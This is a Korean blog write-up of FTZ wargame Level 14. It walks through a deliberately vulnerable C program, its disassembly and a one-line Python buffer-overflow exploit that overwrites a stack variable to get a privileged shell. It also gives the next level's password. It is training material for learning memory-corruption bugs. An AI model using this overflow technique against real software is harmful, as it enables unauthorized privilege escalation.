[FTZ] Level 14

Sisyphus·2022년 7월 15일

FTZ

목록 보기
24/30
[level14@ftz level14]$ cat hint

레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
 
main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}    

cat 명령어로 hint를 출력해보면 C 코드가 출력됩니다.
코드를 해석해보면


main()
{ int crap; 
  int check;
  char buf[20];
  fgets(buf,45,stdin);    // buf에 45크기 만큼 입력을 받음
  if (check==0xdeadbeef)    // check가 00xdeadbeef이면 
   {
     setreuid(3095,3095);    // ruid와 euid를 3095로 설정
     system("/bin/sh");    // /bin/sh 프로그램 실행
   }
}

메모리 구조를 분석해보면

0x08048496 <main+6>:	sub    esp,0x4
0x08048499 <main+9>:	push   ds:0x8049664		 // stdin
0x0804849f <main+15>:	push   0x2d				 // 45
0x080484a1 <main+17>:	lea    eax,[ebp-56]
0x080484a4 <main+20>:	push   eax				 // buf
0x080484a5 <main+21>:	call   0x8048360 <fgets> // fgets(buf, 45, stdin)
0x080484aa <main+26>:	add    esp,0x10
0x080484ad <main+29>:	cmp    DWORD PTR [ebp-16],0xdeadbeef	// compare buf, 0xdeadbeef
0x080484b4 <main+36>:	jne    0x80484db <main+75>				// 다르면 main+75로 jump
0x080484b6 <main+38>:	sub    esp,0x8
0x080484b9 <main+41>:	push   0xc17							// 3095
0x080484be <main+46>:	push   0xc17							// 3095
0x080484c3 <main+51>:	call   0x8048380 <setreuid>				// setreuid(3095, 3095)
0x080484c8 <main+56>:	add    esp,0x10
0x080484cb <main+59>:	sub    esp,0xc
0x080484ce <main+62>:	push   0x8048548						// "/bin/sh"
0x080484d3 <main+67>:	call   0x8048340 <system>				// system("/bin/sh")
0x080484d8 <main+72>:	add    esp,0x10

메모리 구조를 그려보면

NOP[40] + "\xef\xbe\xad\xde" 구조로 입력을 주면 쉘이 뜰거 같습니다.


익스플로잇 코드를 짜보면

NOP[40] + "\xef\xbe\xad\xde"
(python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

익스플로잇 코드를 실행시켜보면

[level14@ftz level14]$ (python -c 'print "\x90"*40+"\xef\xbe\xad\xde"'; cat) | ./attackme

id
uid=3095(level15) gid=3094(level14) groups=3094(level14)

쉘이 떴습니다.


패스워드를 출력해보면

my-pass

Level15 Password is "guess what".

0개의 댓글